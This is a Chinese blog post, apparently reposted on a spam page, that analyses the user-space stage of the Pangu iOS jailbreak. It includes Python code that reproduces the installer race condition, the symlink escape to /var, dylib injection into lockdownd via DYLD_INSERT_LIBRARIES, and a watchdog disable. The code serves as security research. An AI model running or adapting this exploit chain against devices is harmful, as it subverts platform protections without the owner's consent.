当前位置: 首页 > news >正文

聊城集团网站建设公司/国内设计公司前十名

聊城集团网站建设公司,国内设计公司前十名,sharepoint做网站,做一个自己的免费网站背景知识 盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程: 整个安装过程分为12个阶段,上图仅仅是列出了起点、终点还是对盘古越狱来说比較重要的阶段。大家注意上图红线所看到的的时间区间。在这个区间内假…

背景知识

盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程:


整个安装过程分为12个阶段,上图仅仅是列出了起点、终点还是对盘古越狱来说比較重要的阶段。大家注意上图红线所看到的的时间区间。在这个区间内假设在“Staging Directory”中创建一个符号链接指向沙盒之外。就能够利用解压程序向系统文件夹写入文件。

同一时候也能够通过控制压缩包中的文件列表,在起始处放一个大文件,从而在解压过程中创建一个符号链接。

这是在盘古在安装过程中利用的主要漏洞。后面介绍的盘古在用户空间的行为基本都是环绕这个漏洞。

基本的组件

盘古主要由四部分组成。:
1、桌面程序:提供资源,控制越狱流程。
2、com.pangu.ipa1.ipa:Socket Server,与桌面程序配合制造竞态条件。


3、pangu.dylib,Socket Server。利用内核漏洞安装Untecher。Cydia等。


4、pangu.tar,Untecher
这里主要涉及的是前两个组件。及第三个组件中用户空间相关的部分。

工作流程

说明:为了验证自己的分析是正确的,用Python又一次实现了盘古桌面程序的功能,利用盘古的Payload能够实现越狱,以下会在主要阶段给出对应演示样例代码。

阶段一:安装辅助程序。获取相关资源

1、安装com.pangu.ipa1.ipa

def install_pangu():lockdown = LockdownClient()afc = AFCClient(lockdown)mci = lockdown.startService("com.apple.mobile.installation_proxy")file_name = "com.pangu.ipa1.ipa"afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})while True:status =  mci.recvPlist()if not status:breakcompletion = status.get("PercentComplete")if completion:print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])if status.get("Status") == "Complete":print "Installation %s\n" % status["Status"]breakmci.close()afc.stop_session()lockdown.stop_session()

首先利用AFC服务将IPA传到设备上,然后利用 Installation Proxy 安装应用。


2、获取Cache

def download_caches():fc = FileRelayClient()data = fc.request_sources(["Caches"])fc.stop_session()if data:file_path = "./payload/caches.gz"output_path = "./payload/caches"open(file_path,"wb").write(data)print  "Data saved to:  %s " % file_pathwith open(file_path, "r") as f:gz = gzip.GzipFile(mode="rb", fileobj=f)cpio = CpioArchive(fileobj=BytesIO(gz.read()))cpio.extract_files(files=None,outpath=output_path)else:print "Fail to get caches"raise Exception("Fail to get caches")

调用 FileRelay 服务,获取Cache,主要是从中拿到 com.apple.mobile.installation.plist

3、改动 com.apple.mobile.installation.plist

改动是针对盘古程序的。详细改动例如以下:

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

4、改动盘古程序的Info.plist

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

5、构造applicationState.plist

{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }
这个会造成盘古程序在设备重新启动后自己主动执行。

6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表

7、com.apple.backboardd.plist 禁用“看门狗”

基于上述文件盘古会构造三个Payload。

def generate_upgrade_bundle1():guid_str = get_guid()with ZipFile("./payload/upgrade1.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")def generate_upgrade_bundle2():# os.remove("./payload/upgrade2.zip")guid_str = get_guid()with ZipFile("./payload/upgrade2.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")def generate_upgrade_bundle3():# os.remove("./payload/upgrade3.zip")guid_str = get_guid()with ZipFile("./payload/upgrade3.zip", "w") as payload:payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

这个阶段会知道三个程序升级包。供下一阶段使用。
另外。能够简单的理解为:运行完这个阶段就相应着盘古提示用户在手机上启动程序。

阶段二:利用竞态条件安装文件,构造环境运行pangu.dylib

当用户在手机上启动程序后,手机上的App会启动一个Socket Server,等待桌面程序的握手,这个握手的暗语挺有意思。桌面向App发送:PING,App收到后回应桌面:PONG。在握手完毕后,盘古開始利用静态条件将如上构造的三个Payload安装到手机上。
详细过程为首先利用安装服务安装升级包,在安装的过程中桌面向App发送starthook。详细hook的内容能够通过调试App确定是创建一个符号链接:

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"
当中后缀部分会由于每次安装而不同。

演示样例代码:

def fire_race_condition(lockdown, file_name):mci = lockdown.startService("com.apple.mobile.installation_proxy")sock = get_sock()print "----->PING"sock.send("PING")msg = sock.recv(4)if msg == "PONG":print "<-----PONG\n"upgrade_pangu(mci, file_name)print "----->starthook"sock.send("starthook")msg = sock.recv(4)if msg == "succ":print "<-----success\n"else:print "<-----fail\n"
在完毕安装三个Payload之后,盘古会上传文件到Media中的 Pangu-Install文件夹:Cydia.tar、packagelist.tar、pangu.dylib、pangu.tar、pangu_ex.tar

至此,盘古基本完毕了用户空间的行为,在界面上的反应为:盘古会重新启动设备。

阶段三:利用漏洞安装Untecher,Cydia

设备重新启动完毕后,pangu.dylib会被载入。并启动一个 Socket Server。桌面程序在检測到设备载入后会向 pangu.dylib 发送:55AA,pangu.dylib 接到 55AA后開始安装Untecher、Cydia。

阶段四:清理

在pangu.dylib完毕工作后,向桌面程序发送:AA55,桌面程序開始清理暂时文件。删除Provisional文件,恢复设备时间等操作。

在完毕清理操作后。桌面程序会第二次重新启动设备,至此越狱完。




转载于:https://www.cnblogs.com/wzzkaifa/p/7222330.html

相关文章:

  • FlashCS3网站建设详解/想在百度做推广怎么做
  • ecshop外贸网站/厦门seo排名优化公司
  • wordpresshtml5/优优群排名优化软件
  • 海淀做网站好的公司/share群组链接分享
  • ecshop企业网站/安徽seo团队
  • 广东seo站外推广折扣/媒体推广
  • 微信小程序视频网站开发教程/万州网站建设
  • 简单flash个人网站/友情链接推广平台
  • 网站开发公司上海/友情链接图片
  • 西安微网站/关键词排名优化报价
  • 西安微网站/关键词排名优化报价
  • 建立网站难吗/免费的企业黄页网站